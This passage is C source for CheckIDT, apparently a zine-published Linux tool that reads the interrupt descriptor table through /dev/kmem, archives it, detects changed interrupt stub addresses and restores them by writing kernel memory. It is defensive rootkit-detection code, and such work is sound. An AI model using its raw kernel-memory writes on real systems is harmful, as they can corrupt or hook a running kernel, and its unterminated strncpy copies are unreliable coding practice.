                                strcpy(segment,get_segment(selecteur));
						if(resolve >= 0) 
							{
							bzero(name,strlen(name));
							resolv(file,stub_addr,name);
							printf("%-7i 0x%-14.8x %-12s%-8i%-16s %s\n",x,stub_addr,segment,dpl,type,name);
							}
						else
							{ 
	                            printf("%-7i 0x%-14.8x %-12s %-7i%s\n",x,stub_addr,segment,dpl,type);
							}
                                }
                        }
                }
        free(descriptor);
        }

void create_archive(char *file)
        {
         FILE *file_idt;
         struct descriptor_idt *descriptor;
         int x;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
         if(!(file_idt=fopen(file,"w")))
                {
                fprintf(stderr,"Error while opening file\n");
                exit(-1);
                }
         for(x=0;x<(get_size_idt()+1)/8;x++)
                {
                readkmem(descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                fwrite(descriptor,sizeof(struct descriptor_idt),1,file_idt);
                }
         free(descriptor);
         fclose(file_idt);
         fprintf(stderr,"Creating file archive idt done \n");
        }

void read_archive(char *file)
        {
         FILE *file_idt;
         int x;
         struct descriptor_idt *descriptor;
         unsigned long stub_addr;
         descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
         if(!(file_idt=fopen(file,"r")))
                {
                fprintf(stderr,"Error, check if the file exist\n");
                exit(-1);
                }
         for(x=0;x<(get_size_idt()+1)/8;x++)
                {
                fread(descriptor,sizeof(struct descriptor_idt),1,file_idt);
                stub_addr=(unsigned long)(descriptor->offset_high << 16) + descriptor->offset_low;
                printf("Interruption : %i  -- Stub addresse : 0x%.8x\n",x,stub_addr);
                }
         free(descriptor);
         fclose(file_idt);
        }

void compare_idt(char *file,int restore_idt)
        {
        FILE *file_idt;
        int x,change=0;
        int result;
        struct descriptor_idt *save_descriptor,*actual_descriptor;
        unsigned long save_stub_addr,actual_stub_addr;
        unsigned short *offset;
        save_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        actual_descriptor=(struct descriptor_idt *)malloc(sizeof(struct descriptor_idt));
        file_idt=fopen(file,"r");
        for(x=0;x<(get_size_idt()+1)/8;x++)
                {
                fread(save_descriptor,sizeof(struct descriptor_idt),1,file_idt);
                save_stub_addr=(unsigned long)(save_descriptor->offset_high << 16) + save_descriptor->offset_low;
                readkmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                actual_stub_addr=(unsigned long)(actual_descriptor->offset_high << 16) + actual_descriptor->offset_low;
                if(actual_stub_addr != save_stub_addr)
                        {
                         if(restore_idt < 1)
                                {
                                fprintf(stderr,VERT"Hey stub address of interrupt %i has changed!!!\n"NORMAL,x);
                                fprintf(stderr,"Old Value : 0x%.8x\n",save_stub_addr);
                                fprintf(stderr,"New Value : 0x%.8x\n",actual_stub_addr);
                                change=1;
                                }
                         else
                                {
                                fprintf(stderr,VERT"Restore old stub address of interrupt %i\n"NORMAL,x);
                                actual_descriptor->offset_high = (unsigned short) (save_stub_addr >> 16);
                                actual_descriptor->offset_low  = (unsigned short) (save_stub_addr & 0x0000FFFF);
                                writekmem(actual_descriptor,ptr_idt+8*x,sizeof(struct descriptor_idt));
                                change=1;
                                }
                        }
                }
        if(!change)
                fprintf(stderr,VERT"All values are same\n"NORMAL);
        }

void initialize_value(struct Mode *mode)
        {
        mode->show_idt_addr=-1;
        mode->show_all_info=-1;
        mode->show_all_descriptor=-1;
        mode->create_file_archive=-1;
        mode->read_file_archive=-1;
        strncpy(mode->out_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
        mode->compare_idt=-1;
        mode->restore_idt=-1;
        strncpy(mode->in_filename,DEFAULT_FILE,strlen(DEFAULT_FILE));
	strncpy(mode->map_filename,DEFAULT_MAP,strlen(DEFAULT_MAP));
	mode->resolve=-1;
        }

void usage()
        {
        fprintf(stderr,"CheckIDT V 1.1 by kad\n");
        fprintf(stderr,"---------------------\n");
        fprintf(stderr,"Option : \n");
        fprintf(stderr,"       -a nb    show all info about one interrupt\n");
        fprintf(stderr,"       -A       showw all info about all interrupt\n");
        fprintf(stderr,"       -I       show IDT address \n");
        fprintf(stderr,"       -c       create file archive\n");
        fprintf(stderr,"       -r       read file archive\n");
        fprintf(stderr,"       -o file  output filename (for creating file archive)\n");
        fprintf(stderr,"       -C       compare save idt & new idt\n");
        fprintf(stderr,"       -R       restore IDT\n");
        fprintf(stderr,"       -i file  input filename to compare or read\n");
	fprintf(stderr,"       -s 		resolve symbol thanks to /boot/System.map\n");
	fprintf(stderr,"       -S file	specify a map file\n\n"); 
        exit(1);
        }

int main(int argc, char ** argv)
        {
        int option;
        struct Mode *mode;
        if (argc < 2)
                {
		 usage();
                }

        mode=(struct Mode *) malloc(sizeof(struct Mode));
        initialize_value(mode);

        while((option=getopt(argc,argv,"hIa:Aco:Ci:rRsS:"))!=-1)
                {
                switch(option)
                        {
                        case 'h': usage();
                                  exit(1);
                        case 'I': mode->show_idt_addr=1;
                                  break;
                        case 'a': mode->show_all_info=atoi(optarg);
                                  break;
                        case 'A': mode->show_all_descriptor=1;
                                  break;
                        case 'c': mode->create_file_archive=1;
                                  break;
                        case 'r': mode->read_file_archive=1;
                                  break;
                        case 'R': mode->restore_idt=1;
                                  break;
                        case 'o': bzero(mode->out_filename,sizeof(mode->out_filename));
                                  if(strlen(optarg) > 20)
                                        {
                                         fprintf(stderr,"Filename too long\n");
                                         exit(-1);
                                        }
                                  strncpy(mode->out_filename,optarg,strlen(optarg));
                                  break;
                        case 'C': mode->compare_idt=1;
                                  break;
                        case 'i': bzero(mode->in_filename,sizeof(mode->in_filename));
                                  if(strlen(optarg) > 20)
                                        {
                                        fprintf(stderr,"Filename too long\n");
                                        exit(-1);
                                        }
                                  strncpy(mode->in_filename,optarg,strlen(optarg));
                                  break;
				case 's': mode->resolve=1;
					      break;
				case 'S': bzero(mode->map_filename,sizeof(mode->map_filename));
						  if(strlen(optarg) > 40)
								{
								fprintf(stderr,"Filename too long\n");
								exit(-1);
								}
						  if(optarg)strncpy(mode->map_filename,optarg,strlen(optarg));
						  break;
                        }
                }
	printf("\n");
        ptr_idt=get_addr_idt();
        if(mode->show_idt_addr >= 0)
                {
                 fprintf(stdout,"Addresse IDT : 0x%x\n",ptr_idt);
                }
        fd_kmem=open("/dev/kmem",O_RDWR);
        if(mode->show_all_info >= 0 || mode->show_all_descriptor >= 0)
                {
                show_all_info(mode->show_all_info,mode->show_all_descriptor,mode->map_filename,mode->resolve);
                }
        if(mode->create_file_archive >= 0)
                {
                create_archive(mode->out_filename);
                }
        if(mode->read_file_archive >= 0)
                {
                read_archive(mode->in_filename);
                }
        if(mode->compare_idt >= 0)
                {
                compare_idt(mode->in_filename,mode->restore_idt);
                }
        if(mode->restore_idt >= 0)
                {
                compare_idt(mode->in_filename,mode->restore_idt);
                }
        printf(JAUNE"\nThanks for choosing kad's products :-)\n"NORMAL);

        free(mode);
        return 0;
        }

<-->

|=[ EOF ]=---------------------------------------------------------------=|

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